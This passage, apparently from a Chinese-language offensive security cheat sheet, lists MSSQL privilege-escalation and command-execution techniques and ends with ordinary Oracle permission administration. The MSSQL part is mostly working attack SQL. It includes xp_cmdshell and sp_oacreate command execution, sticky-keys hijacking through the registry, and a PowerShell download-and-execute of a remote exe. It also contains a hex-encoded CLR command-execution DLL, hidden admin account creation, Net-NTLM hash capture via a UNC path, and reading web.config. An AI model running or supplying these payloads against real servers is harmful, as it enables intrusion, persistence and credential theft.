?第五個參數是子目錄(Subfolder),bool類型,0是指忽略子目錄,1是指將會刪除子目錄中的文件;
xp_regenumkeys
可以查看指定的注冊表
exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

xp_regdeletekey
刪除指定的注冊表鍵值
EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
xp_regwrite
描述:
修改注冊表
利用條件:
?xpstar.dll
修改注冊表來劫持粘貼鍵(映像劫持)
(測試結果 Access is denied,沒有權限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
sp_addextendedproc
可以用于恢復組件
EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'
sp_dropextendedproc
用于刪除擴展存儲過程
exec sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell
描述:
xp_cmdshell 是 Sql Server 中的一個組件,我們可以用它來執行系統命令。
利用條件:
?擁有 DBA 權限, 在 2005 中 xp_cmdshell 的權限是 system,2008 中是 network。
?依賴 xplog70.dll
-- 判斷當前是否為DBA權限,為1則可以提權
select is_srvrolemember('sysadmin');
-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 查看能否使用 xp_cmdshell,從MSSQL2005版本之后默認關閉
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'
-- 關閉 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
-- 開啟 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
-- 執行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'
-- xp_cmdshell 調用cmd.exe用powershell 遠程下載exe并執行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'
無回顯,也無法進行dnslog怎么辦:
通過臨時表查看命令執行結果(在注入時,要能堆疊)
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable
如果 xp_cmdshell 被刪除了:
如果 xp_cmdshell 被刪除了,需要重新恢復或自己上傳 xplog70.dll 進行恢復
以mssql2012為例,默認路徑為:
C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
-- 判斷存儲擴展是否存在,返回結果為1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 恢復xp_cmdshell,返回結果為1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
-- 否則上傳xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
sp_oacreate
描述:
使用sp_oacreate的提權語句,主要是用來調用OLE對象(Object Linking and Embedding的縮寫,VB中的OLE對象),利用OLE對象的run方法執行系統命令。
利用條件:
?擁有DBA權限
?依賴odsole70.dll
-- 判斷當前是否為DBA權限,為1則可以提權
select is_srvrolemember('sysadmin');
-- 判斷SP_OACREATE狀態,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
-- 啟用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;
-- wscript.shell組件執行系統命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 輸出執行結果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'
-- 利用com組件執行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 利用com組件寫文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;
-- 利用filesystemobject寫vb腳本 (目錄必須存在,否則也會顯示成功,但是沒有文件寫入)
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(這里是文件寫入的內容)'
-- 配合 wscript.shell 組件執行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]
-- 復制具有不同名稱和位置的 calc.exe 可執行文件 (測試未成功)
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';
-- 移動文件 (測試好像只有 利用寫入的VB腳本才能創建)
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'
-- 替換粘滯鍵
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'
-- 使用JavaScript創建賬戶,更改其密碼并將新賬號添加到管理員組 (測試未成功)
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;';
SQL Server Agent Job 代理執行計劃任務
描述:
SQL Server 代理是一項 Microsoft Windows 服務,它執行計劃的管理任務,這些任務在 SQL Server 中稱為作業。
利用條件:
?擁有 DBA 權限
?需要 sqlserver 代理 (sqlagent) 開啟,Express 版本Sql Server 是無法啟用的
-- 開啟 sqlagent 服務 (還是沒有權限,很納悶,sa賬戶登錄 還沒權限)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
-- 利用任務計劃命令執行(無回顯,可以 dnslog)
-- 創建任務 test,這里test為任務名稱,并執行命令,命令執行后的結果,將返回給文本文檔out.txt
use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';
CLR提權
描述:
從 SQL Server 2005 (9.x) 開始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共語言運行時 (CLR) 組件。 這意味著現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)來編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合和流式表值函數。
- MDUT 中的16進制的dll
dll的制作可以參考下面的文章
?<a h"="">https://xz.aliyun.com/t/10955#toc-12
利用條件:
擁有DBA權限
-- 啟用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 顯示高級選項
sp_configure 'clr enabled',1;RECONFIGURE; -- 啟用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 將存儲.Net程序集的數據庫配置為可信賴的
-- 啟用CLR,SQL Server 2017版本及之后,引入了嚴格的安全性,可以選擇根據提供的 SHA512 散列專門授予單個程序集的 UNSAFE 權限
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash= ; -- 將某程序集的SHA512哈希值添加到可信程序集列表中
-- 配置 EXTERNAL ACCESS ASSEMBLY 權限, test 是我指定的數據庫
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON
-- 導入CLR插件
CREATE ASSEMBLY [mssql_CLR] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 WITH PERMISSION_SET = UNSAFE;GO
-- 創建CLR函數
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go
-- 利用CLR執行系統命令
exec dbo.ExecCommand "whoami /all";
------------------------------------------------------------------------------------------------------------------------------
-- 格式簡化
-- 導入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16進制的dll
WITH PERMISSION_SET = UNSAFE;
-- 創建CLR函數
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]
-- 利用CLR執行系統命令
exec testclrexec 'cmdexec',N'whoami'
觸發器提權
觸發器是一種特殊類型的存儲過程,它不同于存儲過程。觸發器主要是通過事件進行觸發被自動調用執行的。而存儲過程可以通過存儲過程的名稱被調用。
SqlServer 包括三種常規類型的觸發器:DML 觸發器、DDL 觸發器和登錄觸發器
登錄觸發器:
登錄觸發器將為響應 LOGIN 事件而激發存儲過程。與 SQL Server 實例建立用戶會話時將引發此事件。登錄觸發器將在登錄的身份驗證階段完成之后且用戶會話實際建立之前激發。因此,來自觸發器內部且通常將到達用戶的所有消息(例如錯誤消息和來自 PRINT 語句的消息)會傳送到 SQL Server 錯誤日志。如果身份驗證失敗,將不激發登錄觸發器。
-- 設置一個觸發器 ffffffff0x,當 user 表更新時觸發命令 (user 表 必須存在,且 容易 卡死 因為這個calc在運行 查詢就不會停止) set ANSI_NULLS on go set QUOTED_IDENTIFIER on go create trigger [ffffffff0x] on [user] AFTER UPDATE as begin execute master..xp_cmdshell 'cmd.exe /c calc.exe' end go -- user 表 update 更新時,自動觸發 UPDATE user SET id = '22' WHERE nickname = 'f0x'
SQL Server R 和 Python 的利用
描述
在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。該服務允許通過 SQL Server 中 sp_execute_external_script 執行 Python 和 R 腳本
利用條件:
?Machine Learning Services 必須要在 Python 安裝過程中選擇
必須啟用外部腳本
?EXEC sp_configure 'external scripts enabled', 1
?RECONFIGURE WITH OVERRIDE
?重新啟動數據庫服務器
?用戶擁有執行任何外部腳本權限
-- R腳本利用
-- 利用 R 執行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
-- Python腳本利用
-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))
-- 利用 Python 執行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
-- 利用 Python 讀文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
AD Hoc 分布式查詢 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提權)
AD Hoc 分布式查詢允許從多個異構數據源(例如 SQL Server 的多個實例)訪問數據。這些數據源可以存儲在相同或不同的計算機上。啟用臨時訪問后,登錄到該實例的任何用戶都可以使用 OLE DB 提供程序通過 OPENROWSET 或 OPENDATASOURCE 函數執行引用網絡上任何數據源的 SQL 語句。
攻擊者濫用 Ad Hoc 分布式查詢和 Microsoft OLE DB Provider for Microsoft Jet 來創建和執行旨在從遠程服務器下載惡意可執行文件的腳本。
利用條件
?擁有 DBA 權限
?sqlserver 服務權限為 system
?服務器擁有 jet.oledb.4.0 驅動
-- 修改注冊表,關閉沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
-- 開啟 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1
-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'DynamicParameters', 1
-- Windows 2003 系統 c:\windows\system32\ias\ 目錄下默認自帶了 2 個 Access 數據庫文件 ias.mdb/dnary.mdb, 所以直接調用即可.
-- Windows 2008 R2 默認無 Access 數據庫文件, 需要自己上傳, 或者用 UNC 路徑加載文件方能執行命令.
-- SQL Server2008 默認未注冊 microsoft.jet.oledb.4.0 接口, 所以無法利用沙盒模式執行系統命令.
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb',
'select shell("whoami")');
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
Oracle
Oracle權限分類
權限是用戶對一項功能的執行權力。在Oracle中,根據系統的管理方式不同,將 Oracle 權限分為系統權限與實體權限兩類。系統權限是指是否被授權用戶可以連接到數據庫上,在數據庫中可以進行哪些系統操作。而實體權限是指用戶對具體的模式實體 (schema) 所擁有的權限。
系統權限管理
系統權限:系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)。
?DBA:擁有全部特權,是系統最高權限,只有DBA才可以創建數據庫結構
?RESOURCE:擁有Resource權限的用戶只可以創建實體,不可以創建數據庫結構
?CONNECT:擁有Connect權限的用戶只可以登錄Oracle,不可以創建實體,不可以創建數據庫結構
對于普通用戶:授予connect,resource權限
對于DBA用戶:授予connect,resource,dba權限
-- 系統權限授予命令:
系統權限只能由DBA用戶授出,也就是sys,system(這兩個用戶是最開始的兩個DBA用戶)
授權命令:grant connect, resource, dba to username1 , username2...;
普通用戶通過授權可以具有與system相同的用戶權限,但永遠不能達到與sys用戶相同的權限,system用戶的權限也可以被回收
回收授權命令:revoke connect, resource, dba from system;
-- 查詢用戶擁有那些權限:
select * from dba_role_privs;
select * from dba_sys_privs;
select * from role_sys_privs;
-- 查詢自己擁有那些系統權限
select * from session_privs;
-- 刪除用戶
drop user [username] cascade; -- 加上cascade則將用戶連同其創建的東西全部刪除
-- 系統權限傳遞
增加 WITH ADMIN OPTION 選項,則得到的權限可以傳遞。
grant connect, resorce to user50 with admin option;
-- 系統權限回收,只能由DBA用戶回收
revoke connect, resource, dba from system;
-- 說明
1. 如果使用WITH ADMIN OPTION為某個用戶授予系統權限,那么對于被這個用戶授予相同權限的所有用戶來說,取消該用戶的系統權限并不會級聯取消這些用戶的相同權限。
2. 系統權限無級聯,即A授予B權限,B授予C權限,如果A收回B的權限,C的權限不受影響;系統權限可以跨用戶回收,即A可以直接收回C用戶的權限。
實體權限管理
實體權限:某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)。
?select, update, insert, alter, index, delete, all //all 包括所有權限
?execute // 執行存儲過程權限
-- 授權用戶表操作
grant select, update, insert on product to user02;
grant all on product to user02;
上述兩條命令是 除drop之外所有對 product表的操作授予 user02 用戶
-- 授予全部用戶表的操作權限
grant all on product to public; # all不包括 drop 權限
-- 實體權限傳遞
grant select, update on product to user02 with grant option;
user02得到權限,并可以傳遞。
-- 實體權限的回收
Revoke select, update on product from user02;
傳遞的權限將全部消失
-- 說明
1. 如果取消某個用戶的對象權限,那么對于這個用戶使用WITH GRANT OPTION授予權限的用戶來說,同樣還會取消這些用戶的相同權限,也就是說取消授權時級聯的。
角色管理
-- 建立一個角色
create role role1;
-- 為角色授權
grant create any table,create procedure to role1;
-- 授權角色給用戶
grant role1 to user1;
-- 查看角色所包含的權限
select * from role_sys_privs;
-- 創建帶有口令的角色(在生效帶有口令的角色時必須提供口令)
create role role1 identified by password1;
-- 修改角色,設置是否需要口令
alter role role1 not identified;
alter role role1 identified by password1;
-- 設置當前用戶要生效的角色
角色的生效是一個什么概念呢?假設用戶a有b1,b2,b3三個角色,那么如果b1未生效,則b1所包含的權限對于a來講是不擁有的,只有角色生效了,角色內的權限才作用于用戶,最大可生效角色數由參數MAX_ENABLED_ROLES設定;在用戶登錄后,oracle將所有直接賦給用戶的權限和用戶默認角色中的權限賦給用戶。
set role role1; # 使role1生效
set role role,role2; # 使role1,role2生效
set role role1 identified by password1; # 使用帶有口令的role1生效
set role all; # 使用該用戶的所有角色生效
set role none; # 設置所有角色失效
set role all except role1; # 除role1外的該用戶的所有其它角色生效。
select * from SESSION_ROLES; # 查看當前用戶的生效的角色。
-- 修改指定用戶,設置其默認角色
alter user user1 default role role1;
alter user user1 default role all except role1;
-- 刪除角色
drop role role1;
角色刪除后,原來擁用該角色的用戶就不再擁有該角色了,相應的權限也就沒有了。
-- 說明
